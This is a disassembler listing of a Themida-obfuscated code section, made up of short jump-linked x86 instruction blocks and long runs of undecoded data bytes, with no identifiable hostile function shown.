		dd 41BAE9h, 14260500h, 0C7015A00h, 8124048Bh, 4C4h, 4EF8100h
		dd 87000000h, 895C243Ch, 74FF243Ch, 3C8B0424h, 4C48124h
		dd 8F000000h, 0F7572404h, 575F2414h, 3399E9h, 2FCFBD00h
		dd 0CD8101F4h, 50174697h, 857CE9h, 1C77FF00h, 1058669Dh
		dd 0E99C2404h, 0FFFFDB61h, 5ABBEE81h, 0FE016900h, 5ABBC681h
		dd 0C6816900h, 6E06644Bh, 9CE1E9h, 0E9424200h, 2151h, 0FAEB80h
		dd 0FAC380EBh, 0BC0459h, 8BBC2CD8h, 0E955241Ch,	38CFh
		dd 5366D886h, 662414F6h, 0E9D8305Bh, 0FFFFE6BFh
; ---------------------------------------------------------------------------


loc_546AF0:				; CODE XREF: Themida_:0054E21Ej
		xor	ecx, eax
		jmp	loc_54C9D1
; ---------------------------------------------------------------------------
		db 58h
		dd 405h, 5FE95300h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546B03:				; CODE XREF: Themida_:005474EDj
		pop	eax
		jmp	loc_549633
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0AC47B5F3h, 39E95E6Ch, 66FFFFDFh,	9C242CD3h
		dd 0FFDAE4E9h, 243431FFh, 0E9243433h, 8FCDh, 53242C8Bh
		dd 0C3815B54h, 4, 8CCE9h, 81DFF700h, 96C5CC7h, 72E1E966h
		dd 0C9800000h, 0F6D1F67Dh, 9E980D1h, 1B92E9h
		db 0
; ---------------------------------------------------------------------------


loc_546B5D:				; CODE XREF: Themida_:0054B1A0j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_549C79
; ---------------------------------------------------------------------------


loc_546B6E:				; CODE XREF: Themida_:0054B41Bj
		sub	edi, 0EAC0498h
		add	edx, edi
		pop	edi
		sub	edx, 392B691Fh
		sub	edx, 1
		push	ebp
		jmp	loc_544D1E
; ---------------------------------------------------------------------------


loc_546B86:				; CODE XREF: Themida_:00548380j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 52484123h
		or	edx, ecx
		pop	ecx
		add	edx, 0AD049661h
		add	ecx, edx
		pop	edx
		jmp	loc_54A195
; ---------------------------------------------------------------------------
		db 89h,	0EAh, 5Dh
		dd 12E9D189h, 2C000052h, 28852C2Eh, 668504E8h, 2EB551h
		dd 665966E8h, 5F545759h, 5AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_546BC9:				; CODE XREF: Themida_:0054C9D6j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_54599C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 68552404h, 7DE5h, 0FFE5C8E9h, 28E957FFh, 55000071h
		dd 8448E9h
		db 0
; ---------------------------------------------------------------------------


loc_546BFD:				; CODE XREF: Themida_:00545198j
		pop	edx
		add	esp, 4
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 53F85BA6h
		jmp	loc_54911D
; ---------------------------------------------------------------------------


loc_546C13:				; CODE XREF: Themida_:0054E64Fj
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_548EF6
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_54E5B5
; ---------------------------------------------------------------------------
		db 59h,	80h, 0EEh
		dd 3E6C08Eh, 80FFC680h,	0F02801EEh, 5A2434FFh, 5204C483h
		dd 1059E9h, 0E9C15900h,	9433E905h, 8B660000h, 83532404h
		dd 0DEE904ECh, 5300003Bh, 3479B050h, 886B2C1Dh,	0EF8058C7h
		dd 0FEE7D0F5h, 36CF80CFh, 0E9ACEF80h, 0FFFFE88Dh, 0E924048Fh
		dd 0FFFFEEE1h, 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFFD96Dh
		dd 5C243C87h, 0FFFE76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546CA5:				; CODE XREF: Themida_:00547AABj
		mov	ecx, [esp]
		push	ebx
		jmp	loc_546318
; ---------------------------------------------------------------------------


loc_546CAE:				; CODE XREF: Themida_:00549FB1j
		push	3FC7h
		mov	[esp], edx
		jmp	loc_548E37
; ---------------------------------------------------------------------------


loc_546CBB:				; CODE XREF: Themida_:00548CA2j
		push	edi
		mov	ebp, [esp]
		add	esp, 4
		pop	edi
		not	edi
		xchg	edi, ebp
		push	eax
		mov	eax, 0FFE49FB2h
		sub	ebp, eax
		pop	eax
		push	esi
		mov	esi, ebp
		push	390Bh
		mov	[esp], edi
		mov	edi, esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, edi
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_548EF3
; ---------------------------------------------------------------------------
aIjqsqg		db '╧',1Bh,'⌡╕ОИО┐',0
		db 0
; ---------------------------------------------------------------------------


loc_546CFF:				; CODE XREF: Themida_:0054EAB5j
		push	4F843C83h
		mov	ebp, [esp]
		add	esp, 4
		dec	ebp
		push	ebx
		mov	ebx, 5C755771h
		xor	ebx, 31A97C4Fh
		add	ebx, 9223D4C3h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 231C4EC6h
		jmp	loc_54FEB2
; ---------------------------------------------------------------------------
		dw 8B66h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_550412
; ---------------------------------------------------------------------------
		db 0BEh, 8Ch, 0Dh
		dd 74290015h, 5F5E0424h, 0D8CC781h, 0E95D0015h,	2D9Bh
		dd 5B2434FFh, 0F0C6E950h, 0C583FFFFh, 242C8704h, 0AEBE565Ch
		dd 52616A1Ch, 6548E9h, 7EE95C00h, 51000093h, 288FE9h, 0C8B6600h
		dd 4EC8324h, 0E9241489h, 173Dh,	8108EDC1h, 645BACE5h, 80BA5235h
		dd 14DC10Dh, 0E7685AD5h, 8900004Ch, 0B968241Ch,	89000070h
		dd 89BF243Ch, 8974CA4Eh, 52E95FFBh, 87000026h, 305C242Ch
		dd 0C0B60FC3h, 8B8734FFh, 0E3E92404h, 6600009Dh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, 7B74186Dh
		add	ebp, edx
		push	edx
		mov	edx, 71724D0Bh
		push	esi
		mov	esi, 5AF27757h
		or	edx, esi
		pop	esi
		add	edx, 743E2CD6h
		neg	edx
		inc	edx
		xor	edx, 74BB4BA1h
		jmp	loc_5476C3
; ---------------------------------------------------------------------------
		db 4
		dd 0E9600493h, 6BDAh, 8704EF83h, 248B243Ch, 24148924h
		dd 453CE9h, 4E95300h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546E2F:				; CODE XREF: Themida_:0054C2A4j
		sub	ebx, edx
		jmp	loc_548700
; ---------------------------------------------------------------------------
		dd offset dword_506448+720h
		dw 8900h
		dd 87E9241Ch, 8B000067h, 0C481241Ch, 4,	8B24048Fh, 66642424h
		dd 0EE90289h, 29000064h, 0DEF75AD6h, 1CDEE953h,	295E0000h
		dd 2434FFDFh, 4C4815Bh,	0F7000000h, 81DFF7DFh, 3A3F04E7h
		dd 727BE953h, 0F3000000h, 0FDB1515Ah, 8001C980h, 0D1F644F1h
		dd 28F4C180h, 0EB8059CBh, 0C0B60FC0h, 0FF8734FFh, 92E92434h
		dd 8900004Eh, 0BBBF243Ch, 31629C50h, 0A3E95FF8h, 5100009Ch
		dd 0C181E189h, 4, 8702E983h, 0E95C240Ch, 89DFh,	6B5DEA81h
		dd 1E929A5h, 0B9000041h, 5FC45843h, 4244C31h, 0FA97E959h
		dd 0C701FFFFh, 7BF3E9h,	4C38100h, 87000000h, 8B5C241Ch
		dd 0B2E92404h, 1, 3C17E9D0h, 0C2810000h, 4, 2EA81h, 4AE90000h
		dd 8100000Ah, 4ECh, 243C8900h, 4EC81h, 1C890000h, 2F766824h
		dd 685B51E2h, 1138h, 0B9240C89h, 2D967600h, 4EC81h, 0C890000h
		dd 241C8724h, 65E9D3F7h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546F4F:				; CODE XREF: Themida_:005506BCj
		pop	edi
		add	esp, 4
		or	eax, eax
		jz	loc_549573
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 466F1350h
		xor	[esp+4], eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		push	1762h
		mov	[esp], eax
		push	44B1h
		mov	[esp], ebp
		push	ebx
		push	33B644F9h
		mov	ebx, [esp]
		jmp	loc_544960
; ---------------------------------------------------------------------------


loc_546F90:				; CODE XREF: Themida_:0054CCC1j
		add	esi, 5E7F20B3h
		add	ebp, esi
		pop	esi
		push	esi
		jmp	loc_549059
; ---------------------------------------------------------------------------
		db 1
		dd 0EA8359CAh, 74FF5204h, 8F5A0424h, 248B2404h,	24048924h
		dd 405E089h, 5000000h, 2, 31240433h, 4332404h, 24248B24h
		dd 7A6CE9h, 5142B500h, 12454F6h, 0FFE657E9h, 2BB66FFh
		dd 44816600h, 35A80224h, 245C0166h, 6C816602h, 35A80224h
		dd 241C8B66h, 4EC81h, 4890000h,	5E08924h, 4, 76D3BA52h
		dd 56421192h, 531E57BEh, 0DEE68110h, 810D5D33h,	41BA8F6h
		dd 6772E967h, 680000h, 29000000h, 1C8B241Ch, 4C48324h
		dd 432BEB81h, 0DF890194h, 0E9F8015Bh, 0FFFFE7BDh, 96240481h
		dd 5A2D596Ah, 6A96EA81h, 0E9582D59h, 6961h
; ---------------------------------------------------------------------------


loc_547058:				; CODE XREF: Themida_:00548157j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54DDA1
; ---------------------------------------------------------------------------
		dw 2205h
		dd 0F733AA04h, 0DE957D8h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54707F:				; CODE XREF: Themida_:00544CF8j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_547FE0
; ---------------------------------------------------------------------------
		db 68h,	35h, 24h
		dd 2C890000h, 910AE924h, 0B2C0000h, 0D800AA2Ch,	524DE9h
		dd 703A6800h, 1C890000h, 1C8B5424h, 690DE924h, 0E95C0000h
		dd 71E5h
; ---------------------------------------------------------------------------


loc_5470C8:				; CODE XREF: Themida_:005495FBj
		sub	bl, al
		sub	bl, 23h
		pop	ax
		jmp	loc_54A573
; ---------------------------------------------------------------------------
		dd 0FFE8015Eh, 34FF2434h, 0C4815D24h, 4, 4C481h, 0EC830000h
		dd 243C8904h, 0F70EC7BFh, 8BFB016Fh, 8CE9243Ch,	5F000065h
		dd 5E4FEB81h, 0EB8104A6h, 5F9C5D47h, 0C381C329h, 5F9C5D47h
		dd 5E4FC381h, 0EB8104A6h, 6DD41F25h, 39F0EB81h,	0C2816AC1h
		dd 7DFB7746h, 4F5068h, 24048900h, 5414E9h, 8BD90100h, 0C481241Ch
		dd 4, 31240C33h, 0C33240Ch, 2A45E924h, 0DA680000h, 8B039678h
		dd 6E92414h, 0FF000085h, 5A042474h, 0FF24048Fh,	88E92434h
		dd 1FFFFF7h, 8AE95FFEh,	81000037h, 4C7h, 0FC96E900h, 2C89FFFFh
		dd 62B5BD24h, 684D0653h, 0
		dd 8B242C29h, 0C483242Ch, 1C58304h, 0F701C583h,	1FB850D5h
		dd 0E979F425h, 55BFh, 2399BE56h, 8146649Fh, 734567E6h
		dd 8EEC15Eh, 24048756h,	64E9D0F7h, 66000076h, 5724048Bh
		dd 0D9E95F54h, 5FFFFF2h, 182C47B1h, 0F7D0F740h,	2EAC35D8h
		dd 0C229EB12h, 5AD58958h, 0C8BCD31h, 1007E924h,	0F660000h
		dd 9C2404BBh, 0FFD40CE9h, 8BF828FFh, 0F8E9241Ch
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547207:				; CODE XREF: Themida_:0054633Cj
		xor	ebp, 6EEF4733h
		xor	ecx, ebp
		jmp	loc_550AC4
; ---------------------------------------------------------------------------


loc_547214:				; CODE XREF: Themida_:0054F03Bj
		xchg	ebp, [esp]
		pop	esp
		push	eax
		push	edx
		mov	edx, 0BE7E09h
		jmp	loc_549A45
; ---------------------------------------------------------------------------


loc_547224:				; CODE XREF: Themida_:00547D4Ej
		mov	edx, 1DF24FDDh
		inc	edx
		sub	esp, 4
		jmp	loc_54B36B
; ---------------------------------------------------------------------------


loc_547232:				; CODE XREF: Themida_:00547C8Fj
		add	dword ptr [esp+4], 4C086CF2h
		pop	edi
		jmp	loc_54AF80
; ---------------------------------------------------------------------------
aLSsd		db '▀$$SИ╓+',0
		dd 0F4E95600h, 5EFFFFDEh, 7395C381h, 0C3814A83h, 65CE3D96h
		dd 20F1E9h, 0FDF28100h,	102F53Fh, 34875AD6h, 54575C24h
		dd 4C7815Fh, 83000000h,	0D3E904C7h, 5800005Ch, 693E68h
		dd 243C8900h, 153AE9h, 223F0500h, 0FA050EC4h, 59715D4Eh
		dd 0E956D801h, 0FFFFF72Ch, 35E0EB81h, 0FB01113Dh, 35E0BD55h
		dd 0EB01113Dh, 243C8B5Dh, 4C481h, 0EB830000h, 241C3304h
		dd 0E9241C31h, 24FFh, 22B353ACh, 1167E9h, 5FFA0100h, 562268h
		dd 24148900h, 88DFE9h, 0E99C5000h, 0FFFFD321h, 240C8B66h
		dd 0E902C483h, 377Eh, 0BF7873B9h, 0E5BE560Ah, 0F75F1C57h
		dd 0D2C681DEh, 2968DAB9h, 0C8315EF1h, 8B2434FFh, 8950240Ch
		dd 3D1BE9E0h, 815A0000h, 0BC628FEAh, 81FA0179h,	0BC628FC2h
		dd 3A8B6879h, 0C890000h, 62E95524h, 81000061h, 180E12F2h
		dd 1188E970h, 0C0FE0000h, 0EF804B2Ch, 80C7002Eh, 59582EC7h
		dd 88FA8852h, 0F6E95AD1h, 81FFFFEDh, 0C05CF0C1h, 0E9815D18h
		dd 2, 31240C33h, 0C33240Ch, 24248B24h, 240C8966h, 350DE9h
		db 0
; ---------------------------------------------------------------------------


loc_54737D:				; CODE XREF: Themida_:00545F00j
		push	6001h
		jmp	loc_54FEEB
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA36C8EFh, 0D821E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547392:				; CODE XREF: Themida_:00548345j
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54CFD3
; ---------------------------------------------------------------------------
		db 0B9h
		dd 62332256h, 0FFFFE981h, 0E181FFFFh, 266253ADh, 40DCE181h
		dd 49417FADh, 6461C181h, 0CF31EF2Ch, 5FFD8959h,	0FFF920E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5473D5:				; CODE XREF: Themida_:00550578j
		inc	ebp
		add	ebp, 4B0D8F37h
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_54755C
; ---------------------------------------------------------------------------
		db 83h
		dd 48F04C4h, 24248B24h,	308CE9h, 4C38100h, 0E9000000h
		dd 356Ch, 8688E95Ah, 24890000h,	70FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547426:				; CODE XREF: Themida_:0054558Bj
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_54B0C7
		push	dword ptr [edi+1Ch]
		jmp	loc_549184
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 8837E9h, 3E7C100h,	14BE5650h, 81010921h, 832A83C6h
		dd 0FFEE816Eh, 0E9FFFFFFh, 0FFFFEE86h, 2C8BE831h, 4C48324h
		dd 214868h, 24048900h, 0C270C768h, 6FE7E909h, 0E9560000h
		dd 2ABFh, 1A2DE95Ah, 0EB810000h, 6DB131D0h, 737BEB81h
		dd 0EB8172B5h, 0AEC170Ah, 0BA52C329h, 5FC45BD8h, 5A74E281h
		dd 0CA8120F2h, 3DF000C6h, 142A68h, 243C8900h, 91270BFh
		dd 0E786E93Bh, 1489FFFFh, 378BBA24h, 0C7E937B3h, 89FFFFECh
		dd 8852240Ch, 1C3DE9E2h, 0E9470000h, 1F89h
; ---------------------------------------------------------------------------


loc_5474DC:				; CODE XREF: Themida_:005481AFj
		mov	[edi+20h], ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	eax


loc_5474E7:				; CODE XREF: Themida_:00544865j
					; Themida_:loc_54E34Fj
		push	dword ptr [esp]
		pop	ebx
		push	eax
		push	esp
		jmp	loc_546B03
; ---------------------------------------------------------------------------
		dw 8159h
		dd 15742F3h, 0A8F38130h, 0E961D440h, 9718h, 0F8E9E389h
		dd 28000015h, 46E6E9EBh, 102D0000h, 0E975463Ch,	0FFFFE132h
		dd 81240C89h, 4ECh, 24248900h, 4240481h, 0E9000000h, 9362h
		dd 0F181D1F7h, 3A48ACDAh, 7239D22Dh, 7BBF5750h,	811F371Ch
		dd 90182CCFh, 7C74E91Fh, 0E82D0000h, 0E9183169h, 8415h
; ---------------------------------------------------------------------------


loc_54755C:				; CODE XREF: Themida_:005473FAj
		push	1
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 24h
		add	edx, edi
		jmp	loc_54ECA7
; ---------------------------------------------------------------------------
		dd 4C481h, 1C8B0000h, 4C48324h,	0FFFF01E9h, 2434FFFFh
		dd 0FFDB77E9h, 313BBBFFh, 0DBF77D86h, 0B1E4EB81h, 0D8292730h
		dd 4875A5Bh, 0A58E924h,	8B5E0000h, 0FE95B03h, 5100005Fh
		dd 0B8707B9h, 59CB01AAh, 416DE9h, 58C63000h, 0F000F82Ch
		dd 4A226866h, 24148966h, 7FE9F8B2h, 8B000032h, 0EAE92434h
		dd 8100000Ch, 4C6h, 4BF5700h, 0E9000000h, 7CE6h, 0D066E94Dh
		dd 0E981FFFFh, 0E370E38h, 0FFFF37E9h, 5FF989FFh, 0E959CB01h
		dd 73FBh, 240C8B66h, 76F6852h, 24890000h, 24048124h, 4
		dd 63B9515Ah, 0F70AE026h, 97C981D9h, 0E9270111h, 15CEh
		dd 240C8B66h, 55E08950h, 8C49B9BDh, 0B5BA5219h,	29198C49h
		dd 53515AD5h, 0EB150EBBh, 5BD98935h, 407CB850h,	0C1311DE2h
		dd 9365E958h, 525F0000h, 7916E9h, 6EEC100h, 299B951h, 0F1812C0Bh
		dd 431B5C83h, 357DF181h, 0C98114D8h, 3AAC744Ah,	7ED5C981h
		dd 0DE9021Dh, 51000053h, 1F15E9h, 0E9380C00h, 72E8h, 0F987D7F7h
		dd 74E9BF57h, 0C78101C2h, 2AC72A57h, 5B15CF81h,	0C7812D41h
		dd 15C078D6h, 19EEF81h,	0F9212678h, 0A9E9555Fh
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5476C3:				; CODE XREF: Themida_:00546E0Aj
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_549A84
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 4EC835Ch, 56240C89h, 0C534C2BEh
		dd 0F7509670h, 56582414h, 0FFDD7DE9h, 24448AFFh, 245C8802h
		dd 665B6602h, 0F6D92458h, 34C0FED0h, 0FEABE9A9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547712:				; CODE XREF: Themida_:00545ACAj
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_545257
; ---------------------------------------------------------------------------
		dw 2958h
		dd 62E955C3h, 31FFFFF3h, 68C831C1h, 0FB6h, 68243C89h, 6FDDh
		dd 68243489h, 2BCh, 0BD242C89h,	7D4645B8h, 0FFFE9FE9h
		dd 0E9C9FEFFh, 93A2h, 0E9240489h, 891Eh, 321B68h, 241C8900h
		dd 3BB4E9h, 2434FF00h, 0CDAE9h,	0B0C58100h, 0E9B316F0h
		dd 88DAh
; ---------------------------------------------------------------------------


loc_54777C:				; CODE XREF: Themida_:00545252j
		add	ebp, esi
		sub	ebp, 517C232Fh
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	ebp
		jmp	loc_54950A
; ---------------------------------------------------------------------------
		dd 875FF801h, 248B2404h, 0E9E9F724h, 3172h
; ---------------------------------------------------------------------------


loc_5477A8:				; CODE XREF: Themida_:0054D9CAj
		xor	eax, 64CB050Dh
		mov	ecx, eax
		pop	eax
		pop	esi
		xor	ebx, ecx
		jmp	loc_54A876
; ---------------------------------------------------------------------------
a13Sct		db '1<$3<$\ИФ▓',0
		align 4
		dd 9011B2BEh, 8BFE311Eh, 0C481243Ch, 4,	0E95DEE31h, 6993h
		dd 0FF384289h, 68582434h, 2536h, 0E9241C89h, 866Ah
; ---------------------------------------------------------------------------


loc_5477F0:				; CODE XREF: Themida_:0054D112j
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5508CE
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0B2F4B524h, 4433E932h, 0C3810000h, 50770568h, 0CCBF575Eh
		dd 0E9533715h, 87D3h, 0F2142EBBh, 0E3AAE92Dh, 0B868FFFFh
		dd 5400005Bh, 5724048Fh, 0FFE4E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547835:				; CODE XREF: Themida_:0054C642j
		add	ecx, eax
		pop	eax
		jmp	loc_54802F
; ---------------------------------------------------------------------------


loc_54783D:				; CODE XREF: Themida_:0054F1C1j
		pop	ebp
		push	ecx
		jmp	loc_54E268
; ---------------------------------------------------------------------------
		dd 4C481h, 14870000h, 0C895C24h, 0CDB3E924h, 8B66FFFFh
		dd 57682414h, 89000069h, 0E789243Ch, 0A6E95355h, 89000005h
		dd 4C281E2h, 0E9000000h, 5E60h,	4C6815Ch, 87000000h, 248B2434h
		dd 4BE46824h, 57E90000h, 5300004Ah, 91CBE951h, 0E9830000h
		dd 240C8704h, 242C895Ch, 883B2EBDh, 5DE93107h, 34328A2Dh
		dd 9942D3Ah, 0E3E902C2h, 5200008Dh, 1883E9h, 0C895C00h
		dd 0DEF0E924h, 0C788FFFFh, 1C8BFD88h, 4C48124h,	0E9000000h
		dd 4B61h, 34E9E389h, 83000083h,	2C8904ECh, 4BD24h, 0EB010000h
		dd 74FF535Dh, 8F5B0424h, 248B2404h, 0E9F9F724h,	0FFFFFB7Ah
		dd 0CF281CB7h, 26BEE9h,	1685100h, 59000000h, 8B1C4F09h
		dd 8952240Ch, 4BB53E2h,	1000000h, 0EA815BDAh, 4, 31241433h
		dd 14332414h, 1C895C24h, 0A2E95424h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54793B:				; CODE XREF: Themida_:0054E390j
		pop	edi
		pop	ecx
		mov	eax, 5C596CD9h
		sub	eax, ebp
		jmp	loc_54643F
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0Ch
aTjXskg		db '%БJ)цXИk┐',0
		dw 6600h
		dd 9C2404FFh, 0FFCCA8E9h, 241487FFh, 749BE95Ch,	0E6C10000h
		dd 39F68103h, 817EB16Ch, 0DC8DFDF6h, 5500508h, 392D4130h
		dd 0E915532Bh, 362Ch, 0C7885404h, 136EE958h, 81590000h
		dd 4ECh, 0E9A3E900h, 0EB80FFFFh, 80D3286Bh, 0DDE96BC3h
		dd 80FFFFD7h, 0E95089F1h, 0FFFFEEACh, 74FF555Ah, 8F5D0424h
		dd 248B2404h, 66F1F624h, 81CCB60Fh, 4ECh, 240C8900h, 10AA68h
		dd 24248900h, 4240483h,	0E92434FFh, 4511h, 59E828h, 669104F0h
		dd 0C6B6525Ah, 23E9F028h, 8000007Dh, 6AE901EBh,	28000016h
		dd 2A068D8h, 1C890000h,	0ECE95224h, 81000088h, 0A51A9FEFh
		dd 161AE900h, 0E95E0000h, 0FFFFE340h, 3108EDC1h, 0E9EF31FDh
		dd 85D3h, 81242C8Bh, 4C4h, 4BF5700h, 0E9000000h, 16CBh
		dd 8B304A29h, 0C481240Ch, 4, 1B28E961h,	0EA810000h, 5E043693h
		dd 81240C8Bh, 4C4h, 4C28100h, 33000000h, 14312414h, 24143324h
		dd 8124248Bh, 4C4h, 9CC83B00h, 7B67E9h,	3209B800h, 0C8294207h
		dd 0D1C38159h, 120374Bh, 0D1EB81C3h, 5820374Bh,	2474FF53h
		dd 8AE95B04h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547AA3:				; CODE XREF: Themida_:0054559Cj
		add	ecx, 0FF67FB54h
		add	edi, ecx
		jmp	loc_546CA5
; ---------------------------------------------------------------------------
		dd 0D8003A2Ch, 0D0C7B652h, 0E9CEFEEEh, 6DE7h, 0E95EF089h
		dd 4B23h
; ---------------------------------------------------------------------------


loc_547AC8:				; CODE XREF: Themida_:005491B0j
		mov	al, 25h
		jmp	loc_54CA54
; ---------------------------------------------------------------------------
		db 56h
		dd 2A1AB850h, 48356C7Ch, 2D6CD41Bh, 5E906C32h, 105D0F7h
		dd 0C1000000h, 402D08E8h, 89FB979Bh, 814658C6h,	0A94278E6h
		dd 0F4F68100h, 0F7123240h, 5ED8E9DEh, 0A1B40000h, 0FFD174E9h
		dd 1EE81FFh, 0D1000000h, 7CE5E9E6h, 0F2800000h,	4EC83FFh
		dd 52240C89h, 0FFDB8FE9h, 685051FFh, 8FD7537h, 1E04E9h
		dd 24048100h, 4, 0E92434FFh, 2000h, 5A04F381h, 0EBC13383h
		dd 0AEB8106h, 81B3221Eh, 0CE28E9EBh, 81DBF73Ch,	43ABD5F3h
		dd 5BD929A8h, 0C181C101h, 449147CDh, 5624048Bh,	64E9E689h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547B77:				; CODE XREF: Themida_:00547EC2j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_54B522
; ---------------------------------------------------------------------------


loc_547B83:				; CODE XREF: Themida_:0054E8BDj
		push	dword ptr [esp]
		jmp	loc_55087B
; ---------------------------------------------------------------------------
		db 30h
		dd 0B0505AD7h, 0E9373401h, 5A5Bh, 0FFCA6CE9h, 29595FFFh
		dd 242C8BE9h, 4C481h, 0C330000h, 240C3124h, 8B240C33h
		dd 89662424h, 4AE92404h, 0FFFFFFCAh, 48B2434h, 0D39AE924h
		dd 0C483FFFFh, 4EC8104h, 89000000h, 0E954243Ch,	641h, 0E23F672Dh
		dd 0B8B2D7Eh, 0D8016CBCh, 59CF68h, 242C8900h, 2C63E9BDh
		dd 5356534Ch, 7A5FF6BBh, 0D989512Dh, 9EE9CE89h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547C07:				; CODE XREF: Themida_:0054BB84j
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	26h
		mov	[esp], ebx
		push	7C0Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_54A5D7
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 85644CB8h, 7F212D57h, 59054CE2h, 0E9566A11h,	41C9h
		dd 0FF92E9ADh, 0C31FFFFh, 240C3324h, 0F24248Bh,	5F5457C8h
		dd 8904EC83h, 52E9240Ch
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547C63:				; CODE XREF: Themida_:0054DEF1j
		sub	dword ptr [esp+4], 4C086CF2h
		sub	dword ptr [esp+4], 6562350Fh
		add	dword ptr [esp+4], 14736826h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 14736826h
		add	dword ptr [esp+4], 6562350Fh
		jmp	loc_547232
; ---------------------------------------------------------------------------
		dd 42ACC381h, 0F3810C85h, 0D7B864Dh, 6250492Dh,	2E8E95Bh
		dd 47B60000h, 835AF328h, 896602ECh, 0B450240Ch,	47BEE9DAh
		dd 0B8BA0000h, 816B9C7Dh, 0BB6815C2h, 0C2814204h, 44692F0Fh
		dd 4EC8153h, 89000000h,	0BF57240Ch, 6DF97212h, 2770E9h
		dd 2600BA00h, 10E9684Ah, 5A000052h, 0FE10E950h,	0DEBFFFFFh
		dd 0E95F040Bh, 258Bh, 2414895Ch, 1B77E9h, 93EE8000h, 861DE953h
		dd 0F4680000h, 57000035h, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 14E95C24h, 81FFFFD7h, 4C7h, 243C8700h, 8B24248Bh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_54F8E6
; ---------------------------------------------------------------------------


loc_547D4C:				; CODE XREF: Themida_:00548C59j
		push	ebp
		push	edx
		jmp	loc_547224
; ---------------------------------------------------------------------------
		db 58h
		dd 8104EFC1h, 1C1385CFh, 0FDEF811Ah, 811ABD33h,	7C5AF7h
		dd 8BF82910h, 0E955243Ch, 0FFFFE411h, 88E9D3F7h, 50000068h
		dd 6B41BD55h, 0ED814EFAh, 3A533261h, 4F61F581h,	0ED813421h
		dd 45E80CBCh, 0F581DDF7h, 1224E2B2h, 0C15D5855h, 74E908E8h
		dd 0FFFFFFCCh, 48B2434h, 4C48324h, 5585450h, 4,	46F4BF57h
		dd 0BA527B6Dh, 3B3B0DF9h, 0E315B951h, 0BDE918F8h, 0B900008Ah
